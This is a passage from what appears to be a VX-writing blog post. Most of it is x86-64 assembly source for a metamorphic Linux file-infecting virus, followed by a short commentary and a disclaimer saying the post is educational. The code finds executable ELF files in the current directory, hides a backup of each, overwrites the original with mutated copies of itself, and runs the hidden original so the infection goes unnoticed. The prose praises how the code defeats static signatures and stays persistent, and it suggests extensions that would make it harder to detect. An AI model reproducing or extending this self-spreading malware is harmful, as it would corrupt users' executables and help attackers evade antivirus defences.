491 ; push rcx,rdx; xchg rcx,rdx; xchg rcx,rdx; pop rdx,rcx
492 mov byte [r8], 0x51
493 mov byte [r8+1], 0x52
494 mov byte [r8+2], 0x48
495 mov byte [r8+3], 0x87
496 mov byte [r8+4], 0xCA
497 mov byte [r8+5], 0x48
498 mov byte [r8+6], 0x87
499 mov byte [r8+7], 0xCA
500 mov byte [r8+8], 0x5A
501 mov byte [r8+9], 0x59
502 jmp .done
503
504.variant_2:
505 ; push rax,rcx; xchg rax,rcx; xchg rax,rcx; pop rcx,rax
506 mov byte [r8], 0x50
507 mov byte [r8+1], 0x51
508 mov byte [r8+2], 0x48
509 mov byte [r8+3], 0x87
510 mov byte [r8+4], 0xC1
511 mov byte [r8+5], 0x48
512 mov byte [r8+6], 0x87
513 mov byte [r8+7], 0xC1
514 mov byte [r8+8], 0x59
515 mov byte [r8+9], 0x58
516 jmp .done
517
518.variant_3:
519 ; push rbx,rdx; xchg rbx,rdx; xchg rbx,rdx; pop rdx,rbx
520 mov byte [r8], 0x53
521 mov byte [r8+1], 0x52
522 mov byte [r8+2], 0x48
523 mov byte [r8+3], 0x87
524 mov byte [r8+4], 0xD3
525 mov byte [r8+5], 0x48
526 mov byte [r8+6], 0x87
527 mov byte [r8+7], 0xD3
528 mov byte [r8+8], 0x5A
529 mov byte [r8+9], 0x5B
530
531.done:
532 pop r8
533 pop rdx
534 pop rcx
535 pop rbx
536 ret
537
538; file I/O
539read_f:
540 push r12
541 push r13
542 push r14
543 push r15
544
545 mov r15, rsi ; save buffer pointer
546
547 mov rax, SYS_open
548 mov rsi, O_RDONLY
549 xor rdx, rdx
550 syscall
551 test rax, rax
552 js .error
553
554 mov r12, rax
555
556 mov rax, SYS_fstat
557 mov rdi, r12
558 sub rsp, 144
559 mov rsi, rsp
560 syscall
561 test rax, rax
562 js .close_e
563
564 mov r13, [rsp + 48] ; file size from stat
565 add rsp, 144
566
567 ; bounds check
568 cmp r13, 65536
569 jle .size_ok
570 mov r13, 65536
571.size_ok:
572 test r13, r13
573 jz .empty
574
575 xor r14, r14 ; bytes read cnt
576
577.read_loop:
578 mov rax, SYS_read
579 mov rdi, r12
580 mov rsi, r15
581 add rsi, r14 ; offset into buffer
582 mov rdx, r13
583 sub rdx, r14 ; remaining bytes to read
584 jz .read_done
585 syscall
586
587 test rax, rax
588 jle .read_done ; EOF or error
589 add r14, rax
590 cmp r14, r13
591 jl .read_loop
592
593.read_done:
594 mov rax, SYS_close
595 mov rdi, r12
596 syscall
597
598 mov rax, r14 ; return bytes read
599 jmp .done
600
601.empty:
602 mov rax, SYS_close
603 mov rdi, r12
604 syscall
605 xor rax, rax
606
607.done:
608 pop r15
609 pop r14
610 pop r13
611 pop r12
612 ret
613
614.close_e:
615 add rsp, 144
616 mov rax, SYS_close
617 mov rdi, r12
618 syscall
619
620.error:
621 mov rax, -1
622 pop r15
623 pop r14
624 pop r13
625 pop r12
626 ret
627
628write_f:
629 push rbp
630 mov rbp, rsp
631 push r12
632 push r13
633 push r14
634 push r15
635
636 mov r12, rdi ; filename
637 mov r13, rsi ; buffer
638 mov r14, rdx ; size
639
640 ; validate inputs
641 test r12, r12
642 jz .write_er
643 test r13, r13
644 jz .write_er
645 test r14, r14
646 jz .write_s
647
648 mov rdi, r12
649 mov rsi, O_WRONLY | O_CREAT | O_TRUNC
650 mov rdx, 0755o
651 call sys_open
652 cmp rax, 0
653 jl .write_er
654 mov r12, rax ; fd
655
656 xor r15, r15 ; bytes written cnt
657
658.write_lp:
659 mov rdi, r12
660 mov rsi, r13
661 add rsi, r15 ; offset into buffer
662 mov rdx, r14
663 sub rdx, r15 ; remaining bytes
664 jz .write_c
665 call sys_write
666 JUNK
667
668 test rax, rax
669 jle .r_close
670 add r15, rax
671 cmp r15, r14
672 jl .write_lp
673
674.write_c:
675 mov rdi, r12
676 call sys_close
677
678.write_s:
679 xor rax, rax ; success
680 pop r15
681 pop r14
682 pop r13
683 pop r12
684 pop rbp
685 ret
686
687.r_close:
688 mov rdi, r12
689 call sys_close
690.write_er:
691 mov rax, -1
692 pop r15
693 pop r14
694 pop r13
695 pop r12
696 pop rbp
697 ret
698
699; instruction generator
700trace_op:
701 ; bounds check
702 mov rax, [codelen]
703 cmp rsi, rax
704 jae .bounds_er
705
706 mov r8, code
707 add r8, rsi
708
709 ; instruction size check
710 mov rax, [codelen]
711 sub rax, rsi
712 cmp rax, 3
713 jae .rex_xchg
714 cmp rax, 2
715 jae .write_prefix
716 cmp rax, 1
717 jae .write_nop
718
719.bounds_er:
720 xor eax, eax
721 ret
722
723.write_nop:
724 mov byte [r8], NOP
725 mov eax, 1
726 ret
727
728.write_prefix:
729 ; validate register (0-3 only)
730 cmp dil, 3
731 ja .bounds_er
732
733 call get_random
734 and eax, 5
735 movzx eax, byte [prefixes + rax]
736 mov [r8], al
737
738 call get_random
739 and eax, 3 ; rax,rbx,rcx,rdx only
740 shl eax, 3
741 add eax, 0xC0
742 add al, dil
743 mov [r8 + 1], al
744
745 mov eax, 2
746 ret
747
748.rex_xchg:
749 ; generate REX.W XCHG
750 cmp dil, 3
751 ja .bounds_er
752
753 ; get different register
754 call get_random
755 and eax, 3
756 cmp al, dil
757 je .rex_xchg ; retry if same
758
759 ; build REX.W XCHG r1, r2
760 mov byte [r8], REX_W
761 mov byte [r8 + 1], XCHG_OP
762
763 ; ModR/M byte
764 mov bl, XCHG_BASE
765 mov cl, al
766 shl cl, 3
767 add bl, cl
768 add bl, dil
769 mov [r8 + 2], bl
770
771 mov eax, 3
772 ret
773
774; instruction decoder
775trace_jmp:
776 push rbx
777 push rcx
778
779 cmp rsi, [codelen]
780 jae .invalid
781
782 mov r8, code
783 mov al, [r8 + rsi]
784
785 ; check for NOP
786 cmp al, NOP
787 je .ret_1
788
789 ; check MOV+reg
790 mov bl, MOV
791 add bl, dil
792 cmp al, bl
793 je .ret_5
794
795 ; check prefix instruction
796 mov rbx, prefixes
797.check_prefix:
798 mov cl, [rbx]
799 test cl, cl
800 jz .invalid
801 cmp cl, al
802 je .check_second_byte
803 inc rbx
804 jmp .check_prefix
805
806.check_second_byte:
807 inc rsi
808 cmp rsi, [codelen]
809 jae .invalid
810
811 mov al, [r8 + rsi]
812 cmp al, 0xC0
813 jb .invalid
814 cmp al, 0xFF
815 ja .invalid
816 and al, 7
817 cmp al, dil
818 jne .invalid
819
820.ret_2:
821 mov eax, 2
822 jmp .done
823.ret_1:
824 mov eax, 1
825 jmp .done
826.ret_5:
827 mov eax, 5
828 jmp .done
829.invalid:
830 xor eax, eax
831.done:
832 pop rcx
833 pop rbx
834 ret
835
836; junk mutation engine
837replace_junk:
838 push r12
839 push r13
840 push r14
841 push r15
842
843 mov r8, [codelen]
844 test r8, r8
845 jz .done
846
847 cmp r8, JUNKLEN
848 jle .done
849
850 sub r8, JUNKLEN
851 mov r9, code
852 xor r12, r12
853
854.scan_loop:
855 cmp r12, r8
856 jae .done
857
858 mov rax, [codelen]
859 cmp r12, rax
860 jae .done
861
862 ; scan for junk pattern
863 movzx eax, byte [r9 + r12]
864 cmp al, PUSH
865 jb .next_i
866 cmp al, PUSH + 3 ; rax,rbx,rcx,rdx only
867 ja .next_i
868
869 ; second byte must be PUSH
870 movzx ebx, byte [r9 + r12 + 1]
871 cmp bl, PUSH
872 jb .next_i
873 cmp bl, PUSH + 3
874 ja .next_i
875
876 ; check REX.W prefix
877 cmp byte [r9 + r12 + 2], REX_W
878 jne .next_i
879
880 ; check XCHG opcode
881 cmp byte [r9 + r12 + 3], XCHG_OP
882 jne .next_i
883
884 ; validate complete sequence
885 call validate
886 test eax, eax
887 jz .next_i
888
889 ; replace with new junk
890 call insert
891
892.next_i:
893 inc r12
894 jmp .scan_loop
895
896.done:
897 pop r15
898 pop r14
899 pop r13
900 pop r12
901 ret
902
903; validate junk pattern
904validate:
905 push rbx
906 push rcx
907
908 ; extract registers from PUSH
909 movzx eax, byte [r9 + r12]
910 sub al, PUSH
911 mov bl, al ; reg1
912
913 movzx eax, byte [r9 + r12 + 1]
914 sub al, PUSH
915 mov cl, al ; reg2
916
917 ; registers must differ
918 cmp bl, cl
919 je .invalid
920
921 ; check POP sequence (reversed)
922 movzx eax, byte [r9 + r12 + 8]
923 sub al, POP
924 cmp al, cl
925 jne .invalid
926
927 movzx eax, byte [r9 + r12 + 9]
928 sub al, POP
929 cmp al, bl
930 jne .invalid
931
932 mov eax, 1 ; Valid sequence
933 jmp .done
934
935.invalid:
936 xor eax, eax
937.done:
938 pop rcx
939 pop rbx
940 ret
941
942; insert new junk sequence
943insert:
944 push rdi
945
946 mov rdi, r9
947 add rdi, r12
948 call spawn_junk
949
950 pop rdi
951 ret
952
953;; shell command execution
954exec_sh:
955 sub rsp, 0x40
956 mov qword [rsp], sh_arg0_ptr
957 mov qword [rsp+8], rdi
958 mov qword [rsp+16], 0
959
960 mov rsi, rsp
961 xor rdx, rdx
962
963 mov rdi, shell_path
964 mov rax, SYS_execve
965 syscall
966 mov rdi, 1
967 call sys_exit
968
969sh_arg0_ptr: dq sh_arg0
970sh_arg1_ptr: dq sh_arg1
971
972list: ; scan directory for infection targets
973 push rbp
974 mov rbp, rsp
975 push r12
976 push r13
977 push r14
978 push r15
979
980 mov r14, rsi
981
982 mov rdi, current_dir
983 mov rsi, O_RDONLY
984 mov rdx, 0
985 call sys_open
986 cmp rax, 0
987 jl .list_error
988 mov r12, rax
989
990.list_loop:
991 mov rdi, r12
992 mov rsi, dir_buf
993 mov rdx, 4096
994 call sys_getdents64
995 cmp rax, 0
996 je .list_done
997 mov r13, rax
998
999 xor r15, r15
1000
1001.list_entry:
1002 cmp r15, r13
1003 jge .list_loop
1004
1005 mov rdi, dir_buf
1006 add rdi, r15
1007
1008 mov r8, rdi
1009 add r8, 16
1010 movzx rax, word [r8] ; d_reclen at offset 16
1011
1012 cmp rax, 19
1013 jl .skip_entry
1014 cmp rax, 4096
1015 jg .skip_entry
1016
1017 push rax
1018
1019 mov r8, rdi
1020 add r8, 18
1021 mov cl, [r8]
1022
1023 cmp cl, 8
1024 jne .skip_entry
1025
1026 add rdi, 19
1027
1028 cmp byte [rdi], '.'
1029 jne .check_file
1030 mov r8, rdi
1031 inc r8
1032 cmp byte [r8], 0
1033 je .skip_entry
1034 mov r8, rdi
1035 inc r8
1036 cmp byte [r8], '.'
1037 je .skip_entry
1038
1039.check_file:
1040 push rdi
1041
1042 mov rdi, r14
1043 call basename
1044
1045 mov rsi, rax
1046 mov rdi, [rsp]
1047 call strcmp
1048
1049 pop rdi
1050 test rax, rax
1051 jz .chosen_one
1052
1053 push rdi
1054 push rsi
1055 push rbx
1056
1057 ; Check if filename starts with .morph8
1058 mov rsi, hidden_prefix
1059 mov rbx, rdi
1060
1061.see_hidden:
1062 mov al, [rbx]
1063 mov dl, [rsi]
1064 test dl, dl
1065 jz .is_hidden ; End of prefix - it's a hidden file
1066 cmp al, dl
1067 jne .not_hidden ; Mismatch - not hidden
1068 inc rbx
1069 inc rsi
1070 jmp .see_hidden
1071
1072.is_hidden:
1073 pop rbx
1074 pop rsi
1075 pop rdi
1076 jmp .skip_entry
1077
1078.not_hidden:
1079 pop rbx
1080 pop rsi
1081 pop rdi
1082
1083 mov rsi, vxx_str
1084 call strstr
1085 test rax, rax
1086 jnz .found_vxx
1087
1088 push rdi
1089 mov rsi, X_OK
1090 call sys_access
1091 pop rdi
1092 cmp rax, 0
1093 jne .not_exec
1094
1095 push rdi
1096 mov rsi, W_OK
1097 call sys_access
1098 pop rdi
1099 cmp rax, 0
1100 jne .not_exec
1101
1102 jmp .e_conditions
1103
1104.not_exec:
1105 jmp .skip_entry
1106
1107.e_conditions:
1108 sub rsp, 256
1109 mov r8, rsp
1110 push rdi
1111
1112 mov rdi, r8
1113 mov rsi, [rsp]
1114 call hidden_name
1115
1116 mov rax, SYS_open
1117 mov rdi, r8
1118 mov rsi, O_RDONLY
1119 xor rdx, rdx
1120 syscall
1121
1122 pop rdi
1123 test rax, rax
1124 js .not_exists
1125
1126 ; Hidden file exists - been here, skip it
1127 push rdi
1128 mov rdi, rax
1129 call sys_close
1130 pop rdi
1131 add rsp, 256
1132 jmp .skip_entry
1133
1134.not_exists:
1135 add rsp, 256
1136
1137 ; Check if we're trying to infect ourselves
1138 push rdi ; Save current filename
1139
1140 ; Get our own basename
1141 mov rdi, bin_name
1142 call basename
1143 mov rsi, rax
1144
1145 mov rdi, [rsp]
1146 call strcmp
1147
1148 pop rdi
1149
1150 test rax, rax
1151 jz .skip_self_infection ; If filenames match, skip infection
1152
1153 ; Check if file is a valid ELF executable before infection
1154 push rdi
1155 call is_elf
1156 pop rdi
1157 test rax, rax
1158 jz .skip_non_elf ; Not a valid ELF, skip infection
1159
1160 push rdi
1161 call implant
1162 pop rdi
1163 jmp .skip_entry
1164
1165.skip_self_infection:
1166 ; Don't infect ourselves, just skip
1167 jmp .skip_entry
1168
1169.skip_non_elf:
1170 ; Not a valid ELF executable, skip infection
1171 jmp .skip_entry
1172
1173.chosen_one:
1174 push rdi
1175 mov rsi, rdi
1176 mov rdi, orig_exec_name
1177 call strcpy
1178 pop rdi
1179 jmp .skip_entry
1180
1181.found_vxx:
1182 mov byte [vierge], 0
1183
1184.skip_entry:
1185 pop rax
1186 add r15, rax
1187 jmp .list_entry
1188
1189.list_done:
1190 mov rdi, r12
1191 call sys_close
1192
1193.list_error:
1194 pop r15
1195 pop r14
1196 pop r13
1197 pop r12
1198 pop rbp
1199 ret
1200
1201implant: ; infect target executable
1202 push r12
1203 push r13
1204 mov r12, rdi
1205
1206 ; Validate input
1207 test r12, r12
1208 jz .d_skip
1209
1210 push r12
1211 mov rdi, r12
1212 call strlen
1213 pop r12
1214 mov r13, rax
1215
1216 ; Check filename length bounds
1217 cmp r13, 200
1218 jg .d_skip
1219 test r13, r13
1220 jz .d_skip
1221
1222 ; Check if we have code to embed
1223 mov rax, [codelen]
1224 test rax, rax
1225 jz .d_skip
1226 cmp rax, 65536
1227 jg .d_skip
1228
1229 ; 1: Create hidden backup of original file
1230 sub rsp, 768
1231 mov rdi, rsp
1232 add rdi, 512 ; Use third section for hidden name
1233 mov rsi, r12
1234 call hidden_name
1235
1236 ; Check if hidden backup already exists
1237 mov rax, SYS_open
1238 mov rdi, rsp
1239 add rdi, 512 ; hidden name
1240 mov rsi, O_RDONLY
1241 xor rdx, rdx
1242 syscall
1243
1244 test rax, rax
1245 js .fallback ; File doesn't exist, create backup
1246
1247 mov rdi, rax
1248 call sys_close
1249 jmp .infect_orgi ; Proceed to reinfect with new mutations
1250
1251.fallback:
1252 mov rdi, rsp ; Use first section for command
1253 mov rsi, cp_cmd_fmt
1254 mov rdx, r12 ; original filename
1255 mov rcx, rsp
1256 add rcx, 512 ; hidden name
1257 call sprintf_two_args
1258 mov rdi, rsp
1259 call system_call
1260
1261 ; Set permissions on hidden file
1262 mov rdi, rsp
1263 add rdi, 256 ; Use second section for chmod command
1264 mov rsi, chmod_cmd_fmt
1265 mov rdx, rsp
1266 add rdx, 512 ; hidden name
1267 call sprintf
1268 mov rdi, rsp
1269 add rdi, 256
1270 call system_call
1271
1272.infect_orgi:
1273 add rsp, 768
1274
1275 ; 2: Replace original file with viral code
1276 mov rdi, r12 ; original filename
1277 mov rsi, code
1278 mov rdx, [codelen]
1279 call write_f
1280
1281.d_skip:
1282 pop r13
1283 pop r12
1284 ret
1285
1286;; payload execution
1287execute: ; virus payload
1288 JUNK
1289
1290 mov rdi, msg_cat
1291 call strlen
1292 mov rdx, rax
1293
1294 mov rdi, 1
1295 mov rsi, msg_cat
1296 call sys_write
1297 JUNK
1298 ret
1299
1300hidden_name: ; create .morph8
1301 push rsi
1302 push rdi
1303 push rbx
1304 push rcx
1305
1306 mov rbx, rsi
1307 mov rcx, hidden_prefix
1308
1309.check_prefix:
1310 mov al, [rbx]
1311 mov dl, [rcx]
1312 test dl, dl
1313 jz .already_one ; it matches
1314 cmp al, dl
1315 jne .add_prefix ; Mismatch
1316 inc rbx
1317 inc rcx
1318 jmp .check_prefix
1319
1320.already_one:
1321 ; File already has .morph8 prefix, just copy it
1322 jmp .cp_file
1323
1324.add_prefix:
1325 ; Add .morph8 prefix
1326 mov byte [rdi], '.'
1327 mov byte [rdi + 1], 'm'
1328 mov byte [rdi + 2], 'o'
1329 mov byte [rdi + 3], 'r'
1330 mov byte [rdi + 4], 'p'
1331 mov byte [rdi + 5], 'h'
1332 mov byte [rdi + 6], '8'
1333
1334 add rdi, 7
1335
1336.cp_file:
1337 mov al, [rsi]
1338 test al, al
1339 jz .done
1340 mov [rdi], al
1341 inc rsi
1342 inc rdi
1343 jmp .cp_file
1344
1345.done:
1346 mov byte [rdi], 0
1347
1348 pop rcx
1349 pop rbx
1350 pop rdi
1351 pop rsi
1352 ret
1353
1354sprintf: ; basic string formatting
1355 push r9
1356 push r10
1357
1358 mov r8, rdi ; dst
1359 mov r9, rsi ; string
1360 mov r10, rdx ; arg
1361
1362.scan_format:
1363 mov al, [r9]
1364 test al, al
1365 jz .done
1366
1367 cmp al, '%'
1368 je .found_percent
1369
1370 mov [r8], al
1371 inc r8
1372 inc r9
1373 jmp .scan_format
1374
1375.found_percent:
1376 inc r9
1377 mov al, [r9]
1378 cmp al, 's'
1379 je .cp_arg
1380 cmp al, '%'
1381 je .cp_percent
1382
1383 ; Unknown format, copy literally
1384 mov byte [r8], '%'
1385 inc r8
1386 mov [r8], al
1387 inc r8
1388 inc r9
1389 jmp .scan_format
1390
1391.cp_percent:
1392 mov byte [r8], '%'
1393 inc r8
1394 inc r9
1395 jmp .scan_format
1396
1397.cp_arg:
1398 push r9
1399 mov r9, r10
1400.cp_loop:
1401 mov al, [r9]
1402 test al, al
1403 jz .cp_done
1404 mov [r8], al
1405 inc r8
1406 inc r9
1407 jmp .cp_loop
1408
1409.cp_done:
1410 pop r9
1411 inc r9
1412 jmp .scan_format
1413
1414.done:
1415 mov byte [r8], 0
1416 pop r10
1417 pop r9
1418 ret
1419
1420sprintf_two_args: ; string with two args
1421 push rbp
1422 mov rbp, rsp
1423 push r10
1424 push r11
1425 push r12
1426
1427 mov r8, rdi ; dst buffer
1428 mov r9, rsi ; string
1429 mov r10, rdx ; 1 arg
1430 mov r11, rcx ; 2 arg
1431 xor r12, r12 ; arg cnt
1432
1433.cp_loop:
1434 mov al, [r9]
1435 test al, al
1436 je .done
1437 cmp al, '%'
1438 je .handle_format
1439 mov [r8], al
1440 inc r8
1441 inc r9
1442 jmp .cp_loop
1443
1444.handle_format:
1445 inc r9
1446 mov al, [r9]
1447 cmp al, 's'
1448 je .cp_string
1449 cmp al, '%'
1450 je .cp_percent
1451
1452 mov byte [r8], '%'
1453 inc r8
1454 mov [r8], al
1455 inc r8
1456 inc r9
1457 jmp .cp_loop
1458
1459.cp_percent:
1460 mov byte [r8], '%'
1461 inc r8
1462 inc r9
1463 jmp .cp_loop
1464
1465.cp_string:
1466 cmp r12, 0
1467 je .use_arg1
1468 mov rdx, r11 ; second arg
1469 jmp .do_cp
1470.use_arg1:
1471 mov rdx, r10 ; first arg
1472.do_cp:
1473 inc r12
1474
1475 push r9
1476 push rdx
1477 mov r9, rdx
1478.str_cp:
1479 mov al, [r9]
1480 test al, al
1481 je .str_done
1482 mov [r8], al
1483 inc r8
1484 inc r9
1485 jmp .str_cp
1486
1487.str_done:
1488 pop rdx
1489 pop r9
1490 inc r9
1491 jmp .cp_loop
1492
1493.done:
1494 mov byte [r8], 0
1495 pop r12
1496 pop r11
1497 pop r10
1498 pop rbp
1499 ret
1500
1501system_call: ; execute shell
1502 push r12
1503 mov r12, rdi
1504
1505 mov rax, SYS_fork
1506 syscall
1507 test rax, rax
1508 jz .child_process
1509 js .error
1510
1511 mov rdi, rax
1512 xor rsi, rsi
1513 xor rdx, rdx
1514 xor r10, r10
1515 mov rax, SYS_wait4
1516 syscall
1517
1518 pop r12
1519 ret
1520
1521.child_process:
1522 sub rsp, 32
1523 mov qword [rsp], sh_arg0
1524 mov qword [rsp+8], sh_arg1
1525 mov qword [rsp+16], r12
1526 mov qword [rsp+24], 0
1527
1528 mov rax, SYS_execve
1529 mov rdi, shell_path
1530 mov rsi, rsp
1531 xor rdx, rdx
1532 syscall
1533
1534 mov rax, SYS_exit
1535 mov rdi, 1
1536 syscall
1537
1538.error:
1539 pop r12
1540 ret
1541
1542;; entry point
1543_start:
1544 ; anti goes here
1545 ;avant:
1546 call d_str ; Decrypt all
1547
1548 mov rax, SYS_getrandom
1549 mov rdi, signme
1550 mov rsi, 4
1551 xor rdx, rdx
1552 syscall
1553
1554 mov al, [vierge_val]
1555 mov [vierge], al
1556
1557 pop rdi
1558 mov rsi, rsp
1559 push rsi
1560
1561 mov rdi, bin_name
1562 mov rsi, [rsp]
1563 call strcpy
1564
1565 mov rdi, [rsp]
1566 call basename
1567 mov rdi, orig_exec_name
1568 mov rsi, rax
1569 call strcpy
1570
1571 call execute
1572
1573 pop rsi
1574 push rsi
1575
1576 ; Read our own code
1577 mov rdi, [rsi]
1578 call read_code
1579
1580 mov rax, [codelen]
1581 test rax, rax
1582 jz .skip_mutation
1583
1584 ; Apply mutations
1585 call replace_junk
1586
1587.skip_mutation:
1588 pop rsi
1589 push rsi
1590 mov rdi, current_dir
1591 mov rsi, [rsi]
1592 call list
1593
1594 cmp byte [vierge], 1
1595 jne .exec_theone
1596
1597 cmp byte [orig_exec_name], 0
1598 jne .orig_name_ok
1599 mov rdi, bin_name
1600 call basename
1601 mov rdi, orig_exec_name
1602 mov rsi, rax
1603 call strcpy
1604
1605.orig_name_ok:
1606 ; Build hidden name for the chosen one
1607 sub rsp, 512
1608 mov rdi, rsp
1609 add rdi, 256
1610 mov rsi, orig_exec_name
1611 call hidden_name
1612
1613 ; Create touch command
1614 mov rdi, rsp ; Use first half for command
1615 mov rsi, touch_cmd_fmt
1616 mov rdx, rsp
1617 add rdx, 256 ; Point to hidden name
1618 call sprintf
1619 mov rdi, rsp
1620 call system_call
1621
1622 ; Create chmod command
1623 mov rdi, rsp ; Reuse first half for command
1624 mov rsi, touch_chmod_fmt
1625 mov rdx, rsp
1626 add rdx, 256 ; Point to hidden name
1627 call sprintf
1628 mov rdi, rsp
1629 call system_call
1630 add rsp, 512
1631
1632.exec_theone:
1633 mov rdi, bin_name
1634 mov rsi, hidden_prefix
1635 call strstr
1636 test rax, rax
1637 jnz .killme
1638
1639 ; Build hidden name and execute it
1640 sub rsp, 512
1641 mov rdi, rsp
1642 add rdi, 256 ; Use second half for hidden name
1643 mov rsi, orig_exec_name
1644 call hidden_name
1645
1646 ; Create exec command
1647 mov rdi, rsp ; Use first half for command
1648 mov rsi, exec_cmd_fmt
1649 mov rdx, rsp
1650 add rdx, 256 ; Point to hidden name
1651 call sprintf
1652 mov rdi, rsp
1653 call system_call
1654 add rsp, 512
1655
1656.killme:
1657 ; Clean up any leftovers
1658 call zero0ut
1659
1660 pop rsi
1661 xor rdi, rdi
1662 mov rax, SYS_exit
1663 syscall
1664
1665zero0ut:
1666 mov rdi, code
1667 mov rcx, 65536
1668 xor al, al
1669 rep stosb
1670
1671 mov rdi, dir_buf
1672 mov rcx, 4096
1673 xor al, al
1674 rep stosb
1675
1676 mov rdi, temp_buf
1677 mov rcx, 1024
1678 xor al, al
1679 rep stosb
1680
1681 ret
1682
1683read_code:
1684 mov rsi, code
1685 call read_f
1686 test rax, rax
1687 js .error
1688
1689 mov [codelen], rax
1690 ret
1691
1692.error:
1693 mov qword [codelen], 0
1694 ret
1695
1696extract_v:
1697 push r12
1698 push r13
1699 push r14
1700
1701 mov rdi, bin_name
1702 mov rsi, code
1703 call read_f
1704 test rax, rax
1705 js .err_v
1706
1707 cmp rax, 65536
1708 jle .size_ok
1709 mov rax, 65536
1710
1711.size_ok:
1712 mov [codelen], rax
1713 jmp .ext_done
1714
1715.err_v:
1716 mov qword [codelen], 0
1717 xor rax, rax
1718
1719.ext_done:
1720 pop r14
1721 pop r13
1722 pop r12
1723 retThis Is Only the Foundation #
Its purpose is to demonstrate core mechanisms, not to claim coverage of a complete system. Metamorphic and polymorphic engines go far deeper than what is shown here. What we have now is a starting point β sufficient to prove the concept, but still far from full-spectrum capability.
Currently, the mutation engine only processes its own defined junk patterns. It does not touch arbitrary instruction sequences. It also only supports basic register replacement so far. Features such as instruction reordering, control-flow rewriting, and logical substitution are absent.
Mutation patterns are hard-coded. There is no adaptive behavior. Propagation logic is also kept simple.

vx-mutation-demo #
Each generation becomes different at the byte level, yet does the same things. What changes is the implementation, not the behavior. This is exactly why it shatters static signatures.
As the VX repeatedly reinfects, the code drifts further from its original form. The hidden backup mechanism helps it stay low-profile. The original file continues to run normally, allowing the VX to persist quietly.
Of course, these capabilities come at a cost: CPU and memory consumption, and doubled storage usage due to backups.
β Possibilities β #
If you want to push further, you will need a larger pattern library, smarter runtime self-analysis, clean syscall abstraction for cross-platform support, and deeper code analysis with control-flow and data-flow mapping.
Combine it with polymorphism: encrypted payload + deformable code structure creates a layered system. Surface randomization, internal concealment, final behavior invariant. The adversary will find almost no stable anchor points.
Metamorphic code proves that software can continuously evolve its own implementation while keeping its goals unchanged.
I recommend running the code inside a debugger rather than executing it blindly. Set breakpoints and step down into the assembly layer to inspect exactly what is being generated. This is the best way to catch subtle anomalies.
Thatβs all for now β see you next time.
Disclaimer:
This blog post is provided solely for educational and research purposes. All technical details and code examples are intended to help defenders understand attack techniques and improve security posture. Please do not use this information to access or interfere with systems you do not own or lack explicit permission to test. Unauthorized use may violate laws and ethical standards. The author assumes no responsibility for any misuse or damage resulting from the application of the concepts discussed.